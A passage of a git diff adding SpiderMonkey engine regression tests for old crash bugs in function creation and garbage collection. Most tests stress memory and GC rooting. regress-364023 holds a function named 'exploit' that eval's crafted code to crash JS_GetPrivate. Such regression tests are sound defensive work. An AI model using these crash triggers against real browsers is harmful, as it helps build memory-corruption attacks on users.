+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 338121;
+var summary = 'Issues with JS_ARENA_ALLOCATE_CAST';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+expectExitCode(0);
+expectExitCode(5);
+
+var fe="vv";
+
+for (i=0; i<24; i++)
+ fe += fe;
+
+var fu=new Function(
+ fe, fe, fe, fe, fe, fe, fe, fe, fe, fe, fe, fe, fe, fe, fe, fe, fe, fe, fe,
+ fe, fe, fe, fe, fe, fe, fe, fe, fe, fe, fe, fe, fe, fe, fe, fe, fe, fe, fe,
+ fe, fe, fe, fe, fe, fe, fe, fe, fe, fe, fe, fe, fe, fe, fe, fe, fe, fe, fe,
+ fe, fe, fe,
+ "done"
+ );
+
+//alert("fu="+fu);
+//print("fu="+fu);
+var fuout = 'fu=' + fu;
+
+print('Done');
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/js1_5/Function/regress-344052.js b/js/src/tests/js1_5/Function/regress-344052.js
new file mode 100644
index 000000000..ce07f37b4
--- /dev/null
+++ b/js/src/tests/js1_5/Function/regress-344052.js
@@ -0,0 +1,30 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 344052;
+var summary = 'Function prototype - simple shared property';
+var actual = '';
+var expect = 'true';
+
+Function.prototype.foo = true;
+function y(){};
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ actual = String(y.foo);
+
+ reportCompare(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_5/Function/regress-364023.js b/js/src/tests/js1_5/Function/regress-364023.js
new file mode 100644
index 000000000..4a5cbb761
--- /dev/null
+++ b/js/src/tests/js1_5/Function/regress-364023.js
@@ -0,0 +1,40 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 364023;
+var summary = 'Do not crash in JS_GetPrivate';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ function exploit() {
+ var code = "";
+ for(var i = 0; i < 0x10000; i++) {
+ if(i == 125) {
+ code += "void 0x10000050505050;\n";
+ } else {
+ code += "void " + (0x10000000000000 + i) + ";\n";
+ }
+ }
+ code += "function foo() {}\n";
+ eval(code);
+ }
+ exploit();
+
+ reportCompare(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_5/Function/shell.js b/js/src/tests/js1_5/Function/shell.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/js1_5/Function/shell.js
diff --git a/js/src/tests/js1_5/GC/browser.js b/js/src/tests/js1_5/GC/browser.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/js1_5/GC/browser.js
diff --git a/js/src/tests/js1_5/GC/regress-104584.js b/js/src/tests/js1_5/GC/regress-104584.js
new file mode 100644
index 000000000..4148b6915
--- /dev/null
+++ b/js/src/tests/js1_5/GC/regress-104584.js
@@ -0,0 +1,46 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/*
+ * Date: 14 October 2001
+ *
+ * SUMMARY: Regression test for Bugzilla bug 104584
+ * See http://bugzilla.mozilla.org/show_bug.cgi?id=104584
+ *
+ * Testing that we don't crash on this code. The idea is to
+ * call F,G WITHOUT providing an argument. This caused a crash
+ * on the second call to obj.toString() or print(obj) below -
+ */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 104584;
+var summary = "Testing that we don't crash on this code -";
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+F();
+G();
+
+reportCompare('No Crash', 'No Crash', '');
+
+function F(obj)
+{
+ if(!obj)
+ obj = {};
+ obj.toString();
+ gc();
+ obj.toString();
+}
+
+
+function G(obj)
+{
+ if(!obj)
+ obj = {};
+ print(obj);
+ gc();
+ print(obj);
+}
diff --git a/js/src/tests/js1_5/GC/regress-203278-2.js b/js/src/tests/js1_5/GC/regress-203278-2.js
new file mode 100644
index 000000000..e2433f485
--- /dev/null
+++ b/js/src/tests/js1_5/GC/regress-203278-2.js
@@ -0,0 +1,79 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 203278;
+var summary = 'Don\'t crash in recursive js_MarkGCThing';
+var actual = 'FAIL';
+var expect = 'PASS';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+// Prepare array to test DeutschSchorrWaite implementation
+// and its reverse pointer scanning performance
+
+var a = new Array(1000 * 1000);
+
+var i = a.length;
+while (i-- != 0) {
+ switch (i % 11) {
+ case 0:
+ a[i] = { };
+ break;
+ case 1:
+ a[i] = { a: true, b: false, c: 0 };
+ break;
+ case 2:
+ a[i] = { 0: true, 1: {}, 2: false };
+ break;
+ case 3:
+ a[i] = { a: 1.2, b: "", c: [] };
+ break;
+ case 4:
+ a[i] = [ false ];
+ break;
+ case 6:
+ a[i] = [];
+ break;
+ case 7:
+ a[i] = false;
+ break;
+ case 8:
+ a[i] = "x";
+ break;
+ case 9:
+ a[i] = new String("x");
+ break;
+ case 10:
+ a[i] = 1.1;
+ break;
+ case 10:
+ a[i] = new Boolean();
+ break;
+ }
+}
+
+printStatus("DSF is prepared");
+
+// Prepare linked list that causes recursion during GC with
+// depth O(list size)
+// Note: pass "-S 500000" option to the shell to limit stack quota
+// available for recursion
+
+for (i = 0; i != 50*1000; ++i) {
+ a = [a, a, {}];
+ a = [a, {}, a];
+
+}
+
+printStatus("Linked list is prepared");
+
+gc();
+
+actual = 'PASS';
+
+reportCompare(expect, actual, summary);
+
diff --git a/js/src/tests/js1_5/GC/regress-203278-3.js b/js/src/tests/js1_5/GC/regress-203278-3.js
new file mode 100644
index 000000000..3ac6d4c91
--- /dev/null
+++ b/js/src/tests/js1_5/GC/regress-203278-3.js
@@ -0,0 +1,42 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 203278;
+var summary = 'Don\'t crash in recursive js_MarkGCThing';
+var actual = 'FAIL';
+var expect = 'PASS';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+// Prepare array a to cause O(a.length^2) behaviour in the current
+// DeutschSchorrWaite implementation
+
+var a = new Array(1000 * 100);
+
+var i = a.length;
+while (i-- != 0)
+{
+ a[i] = {};
+}
+
+// Prepare linked list that causes recursion during GC with
+// depth O(list size)
+
+for (i = 0; i != 50*1000; ++i)
+{
+ a = [a, a.concat()];
+}
+
+if (typeof gc == 'function')
+{
+ gc();
+}
+
+actual = 'PASS';
+
+reportCompare(expect, actual, summary);
+
diff --git a/js/src/tests/js1_5/GC/regress-278725.js b/js/src/tests/js1_5/GC/regress-278725.js
new file mode 100644
index 000000000..47df5950f
--- /dev/null
+++ b/js/src/tests/js1_5/GC/regress-278725.js
@@ -0,0 +1,29 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+// testcase by James Ross <silver@warwickcompsoc.co.uk>
+var BUGNUMBER = 278725;
+var summary = 'Don\'t Crash during GC';
+var actual = 'Crash';
+var expect = 'No Crash';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+var results = [];
+for (var k = 0; k < 600000; k++) {
+ if (! (k %100000)) {
+ printStatus('hi');
+ if (0) {
+ results.length = 0;
+ gc();
+ }
+ }
+ results.push({});
+}
+
+actual = 'No Crash';
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/js1_5/GC/regress-306788.js b/js/src/tests/js1_5/GC/regress-306788.js
new file mode 100644
index 000000000..d6e130679
--- /dev/null
+++ b/js/src/tests/js1_5/GC/regress-306788.js
@@ -0,0 +1,24 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 306788;
+var summary = 'Do not crash sorting Arrays due to GC';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+var array = new Array();
+
+for (var i = 0; i < 5000; i++)
+{
+ array[i] = new Array('1', '2', '3', '4', '5');
+}
+
+array.sort();
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/js1_5/GC/regress-311497.js b/js/src/tests/js1_5/GC/regress-311497.js
new file mode 100644
index 000000000..21905a7fd
--- /dev/null
+++ b/js/src/tests/js1_5/GC/regress-311497.js
@@ -0,0 +1,61 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 311497;
+var summary = 'Root pivots in js_HeapSort';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+
+function force_gc()
+{
+ if (this.gc) gc();
+ for (var i = 0; i != 30000; ++i) {
+ var tmp = Math.sin(i);
+ tmp = null;
+ }
+}
+
+var array = new Array(10);
+for (var i = 0; i != array.length; ++i) {
+ array[i] = String.fromCharCode(i, i, i);
+}
+
+function cmp(a, b)
+{
+ for (var i = 0; i != array.length; ++i) {
+ array[i] = null;
+ }
+ force_gc();
+ return 0;
+}
+
+array.sort(cmp);
+
+// Verify that array contains either null or original strings
+
+var null_count = 0;
+var original_string_count = 0;
+for (var i = 0; i != array.length; ++i) {
+ var elem = array[i];
+ if (elem === null) {
+ ++null_count;
+ } else if (typeof elem == "string" && elem.length == 3) {
+ var code = elem.charCodeAt(0);
+ if (0 <= code && code < array.length) {
+ if (code === elem.charCodeAt(1) && code == elem.charCodeAt(2))
+ ++original_string_count;
+ }
+ }
+}
+
+var expect = array.length;
+var actual = null_count + original_string_count;
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/js1_5/GC/regress-313276.js b/js/src/tests/js1_5/GC/regress-313276.js
new file mode 100644
index 000000000..7f622fa3f
--- /dev/null
+++ b/js/src/tests/js1_5/GC/regress-313276.js
@@ -0,0 +1,40 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 313276;
+var summary = 'Root strings';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+var obj = {
+ toString: function() {
+ return "*TEST*".substr(1, 4);
+ }
+};
+
+var TMP = 1e200;
+
+var likeZero = {
+ valueOf: function() {
+ if (typeof gc == "function") gc();
+ for (var i = 0; i != 40000; ++i) {
+ var tmp = 2 / TMP;
+ tmp = null;
+ }
+ return 0;
+ }
+}
+
+ expect = "TEST";
+actual = String.prototype.substr.call(obj, likeZero);
+
+printStatus("Substring length: "+actual.length);
+printStatus((expect === actual).toString());
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/js1_5/GC/regress-313479.js b/js/src/tests/js1_5/GC/regress-313479.js
new file mode 100644
index 000000000..a13dba3ff
--- /dev/null
+++ b/js/src/tests/js1_5/GC/regress-313479.js
@@ -0,0 +1,37 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 313479;
+var summary = 'Root access in jsnum.c';
+var actual = '';
+var expect = '';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+var prepared_string = String(1);
+String(2); // To remove prepared_string from newborn
+
+var likeString = {
+ toString: function() {
+ var tmp = prepared_string;
+ prepared_string = null;
+ return tmp;
+ }
+};
+
+var likeNumber = {
+ valueOf: function() {
+ gc();
+ return 10;
+ }
+}
+
+ var expect = 1;
+var actual = parseInt(likeString, likeNumber);
+printStatus("expect="+expect+" actual="+actual);
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/js1_5/GC/regress-316885-01.js b/js/src/tests/js1_5/GC/regress-316885-01.js
new file mode 100644
index 000000000..da814bbae
--- /dev/null
+++ b/js/src/tests/js1_5/GC/regress-316885-01.js
@@ -0,0 +1,33 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 316885;
+var summary = 'Unrooted access in jsinterp.c';
+var actual = '';
+var expect = '';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+var str_with_num = "0.1";
+
+var obj = {
+ get elem() {
+ return str_with_num;
+ },
+ set elem(value) {
+ gc();
+ }
+
+};
+
+expect = Number(str_with_num);
+actual = obj.elem++;
+
+gc();
+
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/js1_5/GC/regress-316885-02.js b/js/src/tests/js1_5/GC/regress-316885-02.js
new file mode 100644
index 000000000..2cdda6006
--- /dev/null
+++ b/js/src/tests/js1_5/GC/regress-316885-02.js
@@ -0,0 +1,42 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 316885;
+var summary = 'Unrooted access in jsinterp.c';
+var actual = '';
+var expect = '';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+var str = "test";
+
+var lval = {
+ valueOf: function() {
+ return str+"1";
+ }
+};
+
+var ONE = 1;
+
+var rval = {
+ valueOf: function() {
+ // Make sure that the result of the previous lval.valueOf
+ // is not GC-rooted.
+ var tmp = "x"+lval;
+ if (typeof gc == "function")
+ gc();
+ for (var i = 0; i != 40000; ++i) {
+ tmp = 1e100 / ONE;
+ }
+ return str;
+ }
+};
+
+expect = (str+"1" > str);
+actual = (lval > rval);
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/js1_5/GC/regress-316885-03.js b/js/src/tests/js1_5/GC/regress-316885-03.js
new file mode 100644
index 000000000..93f632e78
--- /dev/null
+++ b/js/src/tests/js1_5/GC/regress-316885-03.js
@@ -0,0 +1,42 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 316885;
+var summary = 'Unrooted access in jsinterp.c';
+var actual = '';
+var expect = '';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+var str = "test";
+
+var lval = {
+ valueOf: function() {
+ return str+"1";
+ }
+};
+
+var ONE = 1;
+
+var rval = {
+ valueOf: function() {
+ // Make sure that the result of the previous lval.valueOf
+ // is not GC-rooted.
+ var tmp = "x"+lval;
+ if (typeof gc == "function")
+ gc();
+ for (var i = 0; i != 40000; ++i) {
+ tmp = 1e100 / ONE;
+ }
+ return str;
+ }
+};
+
+expect = (str+"1")+str;
+actual = lval+rval;
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/js1_5/GC/regress-319980-01.js b/js/src/tests/js1_5/GC/regress-319980-01.js
new file mode 100644
index 000000000..e9e696c8d
--- /dev/null
+++ b/js/src/tests/js1_5/GC/regress-319980-01.js
@@ -0,0 +1,127 @@
+// |reftest| skip-if(!xulRuntime.shell) slow
+/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 319980;
+var summary = 'GC not called during non-fatal out of memory';
+var actual = '';
+var expect = 'Normal Exit';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+print ('This test should never fail explicitly. ' +
+ 'You must view the memory usage during the test. ' +
+ 'This test fails if memory usage for each subtest grows');
+
+var timeOut = 45 * 1000;
+var interval = 0.01 * 1000;
+var testFuncWatcherId;
+var testFuncTimerId;
+var maxTests = 5;
+var currTest = 0;
+
+if (typeof setTimeout == 'undefined')
+{
+ setTimeout = function() {};
+ clearTimeout = function() {};
+ actual = 'Normal Exit';
+ reportCompare(expect, actual, summary);
+}
+else
+{
+ // delay start until after js-test-driver-end runs.
+ // delay test driver end
+ gDelayTestDriverEnd = true;
+
+ setTimeout(testFuncWatcher, 1000);
+}
+
+function testFuncWatcher()
+{
+ a = null;
+
+ gc();
+
+ clearTimeout(testFuncTimerId);
+ testFuncWatcherId = testFuncTimerId = null;
+ if (currTest >= maxTests)
+ {
+ actual = 'Normal Exit';
+ reportCompare(expect, actual, summary);
+ printStatus('Test Completed');
+ gDelayTestDriverEnd = false;
+ jsTestDriverEnd();
+ return;
+ }
+ ++currTest;
+
+ print('Executing test ' + currTest + '\n');
+
+ testFuncWatcherId = setTimeout("testFuncWatcher()", timeOut);
+ testFuncTimerId = setTimeout(testFunc, interval);
+}
+
+
+var a;
+function testFunc()
+{
+
+ var i;
+
+ switch(currTest)
+ {
+ case 1:
+ a = new Array(100000);
+ for (i = 0; i < 100000; i++ )
+ {
+ a[i] = i;
+ }
+ break;
+
+ case 2:
+ a = new Array(100000);
+ for (i = 0; i < 100000; i++)
+ {
+ a[i] = new Number();
+ a[i] = i;
+ }
+ break;
+
+ case 3:
+ a = new String() ;
+ a = new Array(100000);
+ for ( i = 0; i < 100000; i++ )
+ {
+ a[i] = i;
+ }
+
+ break;
+
+ case 4:
+ a = new Array();
+ a[0] = new Array(100000);
+ for (i = 0; i < 100000; i++ )
+ {
+ a[0][i] = i;
+ }
+ break;
+
+ case 5:
+ a = new Array();
+ for (i = 0; i < 100000; i++ )
+ {
+ a[i] = i;
+ }
+ break;
+ }
+
+ if (testFuncTimerId)
+ {
+ testFuncTimerId = setTimeout(testFunc, interval);
+ }
+}
+
+
diff --git a/js/src/tests/js1_5/GC/regress-324278.js b/js/src/tests/js1_5/GC/regress-324278.js
new file mode 100644
index 000000000..56996994d
--- /dev/null
+++ b/js/src/tests/js1_5/GC/regress-324278.js
@@ -0,0 +1,63 @@
+// |reftest| skip -- slow, obsoleted by 98409 fix
+/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 324278;
+var summary = 'GC without recursion';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+// Number to push native stack size beyond 10MB if GC recurses generating
+// segfault on Fedora Core / Ubuntu Linuxes where the stack size by default
+// is 10MB/8MB.
+var N = 100*1000;
+
+function build(N) {
+ // Exploit the fact that (in ES3), regexp literals are shared between
+ // function invocations. Thus we build the following chain:
+ // chainTop: function->regexp->function->regexp....->null
+ // to check how GC would deal with this chain.
+
+ var chainTop = null;
+ for (var i = 0; i != N; ++i) {
+ var f = Function('some_arg'+i, ' return /test/;');
+ var re = f();
+ re.previous = chainTop;
+ chainTop = f;
+ }
+ return chainTop;
+}
+
+function check(chainTop, N) {
+ for (var i = 0; i != N; ++i) {
+ var re = chainTop();
+ chainTop = re.previous;
+ }
+ if (chainTop !== null)
+ throw "Bad chainTop";
+
+}
+
+if (typeof gc != "function") {
+ gc = function() {
+ for (var i = 0; i != 50*1000; ++i) {
+ var tmp = new Object();
+ }
+ }
+}
+
+var chainTop = build(N);
+printStatus("BUILT");
+gc();
+check(chainTop, N);
+printStatus("CHECKED");
+chainTop = null;
+gc();
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/js1_5/GC/regress-331719.js b/js/src/tests/js1_5/GC/regress-331719.js
new file mode 100644
index 000000000..3803b3d5c
--- /dev/null
+++ b/js/src/tests/js1_5/GC/regress-331719.js
@@ -0,0 +1,19 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 331719;
+var summary = 'Problem with String.replace running with WAY_TOO_MUCH_GC';
+var actual = '';
+var expect = '';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+print('This test requires WAY_TOO_MUCH_GC');
+
+expect = 'No';
+actual = 'No'.replace(/\&\&/g, '&');
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/js1_5/GC/regress-338653.js b/js/src/tests/js1_5/GC/regress-338653.js
new file mode 100644
index 000000000..17ef68de9
--- /dev/null
+++ b/js/src/tests/js1_5/GC/regress-338653.js
@@ -0,0 +1,41 @@
+// |reftest| skip -- slow, killed on x86_64
+/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 338653;
+var summary = 'Force GC when JSRuntime.gcMallocBytes hits ' +
+ 'JSRuntime.gcMaxMallocBytes';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+print('This test should never fail explicitly. ' +
+ 'You must view the memory usage during the test. ' +
+ 'This test fails if the memory usage repeatedly spikes ' +
+ 'by several hundred megabytes.');
+
+function dosubst()
+{
+ var f = '0x';
+ var s = f;
+
+ for (var i = 0; i < 18; i++)
+ {
+ s += s;
+ }
+
+ var index = s.indexOf(f);
+ while (index != -1 && index < 10000) {
+ s = s.substr(0, index) + '1' + s.substr(index + f.length);
+ index = s.indexOf(f);
+ }
+
+}
+
+dosubst();
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/js1_5/GC/regress-341877-01.js b/js/src/tests/js1_5/GC/regress-341877-01.js
new file mode 100644
index 000000000..6fc88f3ac
--- /dev/null
+++ b/js/src/tests/js1_5/GC/regress-341877-01.js
@@ -0,0 +1,40 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 341877;
+var summary = 'GC hazard with for-in loop';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+var obj = { };
+
+var prop = "xsomePropety".substr(1);
+
+obj.first = "first"
+
+ obj[prop] = 1;
+
+for (var elem in obj) {
+ var tmp = elem.toString();
+ delete obj[prop];
+ // ensure that prop is cut from all roots
+ prop = "xsomePropety".substr(2);
+ obj[prop] = 2;
+ delete obj[prop];
+ prop = null;
+ if (typeof gc == 'function')
+ gc();
+ for (var i = 0; i != 50000; ++i) {
+ var tmp = 1 / 3;
+ tmp /= 10;
+ }
+}
+
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/js1_5/GC/regress-341877-02.js b/js/src/tests/js1_5/GC/regress-341877-02.js
new file mode 100644
index 000000000..b636ad693
--- /dev/null
+++ b/js/src/tests/js1_5/GC/regress-341877-02.js
@@ -0,0 +1,45 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 341877;
+var summary = 'GC hazard with for-in loop';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+var obj = { };
+
+var prop = "xsomePropety".substr(1);
+
+obj.first = "first"
+
+ obj[prop] = 1;
+
+for (var elem in obj) {
+ var tmp = elem.toString();
+ delete obj[prop];
+ // ensure that prop is cut from all roots
+ prop = "xsomePropety".substr(2);
+ obj[prop] = 2;
+ delete obj[prop];
+ prop = null;
+ if (typeof gc == 'function')
+ gc();
+ for (var i = 0; i != 50000; ++i) {
+ var tmp = 1 / 3;
+ tmp /= 10;
+ }
+ for (var i = 0; i != 1000; ++i) {
+ // Make string with 11 characters that would take
+ // (11 + 1) * 2 bytes or sizeof(JSAtom) so eventually
+ // malloc will ovewrite just freed atoms.
+ var tmp2 = Array(12).join(' ');
+ }
+}
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/js1_5/GC/regress-346794.js b/js/src/tests/js1_5/GC/regress-346794.js
new file mode 100644
index 000000000..a747642f1
--- /dev/null
+++ b/js/src/tests/js1_5/GC/regress-346794.js
@@ -0,0 +1,43 @@
+// |reftest| skip -- slow, killed
+/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 346794;
+var summary = 'Do not crash';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ // either don't crash or run out of memory
+ expectExitCode(0);
+ expectExitCode(3);
+
+ function boo() {
+ s = '';
+ for (;;) {
+ try {
+ new RegExp(s + '[\\');
+ } catch(e) {}
+ s += 'q';
+ }
+ }
+
+ boo();
+
+ reportCompare(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_5/GC/regress-348532.js b/js/src/tests/js1_5/GC/regress-348532.js
new file mode 100644
index 000000000..cff651a63
--- /dev/null
+++ b/js/src/tests/js1_5/GC/regress-348532.js
@@ -0,0 +1,54 @@
+// |reftest| skip-if(Android)
+/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 348532;
+var summary = 'Do not overflow int when constructing Error.stack';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ expectExitCode(0);
+ expectExitCode(3);
+ actual = 0;
+
+ // construct string of 1<<23 characters
+ var s = Array((1<<23)+1).join('x');
+
+ var recursionDepth = 0;
+ function err() {
+ try {
+ return err.apply(this, arguments);
+ } catch (e) {
+ if (!(e instanceof InternalError))
+ throw e;
+ }
+ return new Error();
+ }
+
+ // The full stack trace in error would include 64*4 copies of s exceeding
+ // 2^23 * 256 or 2^31 in length
+ var error = err(s,s,s,s);
+
+ print(error.stack.length);
+
+ expect = true;
+ actual = (error.stack.length > 0);
+
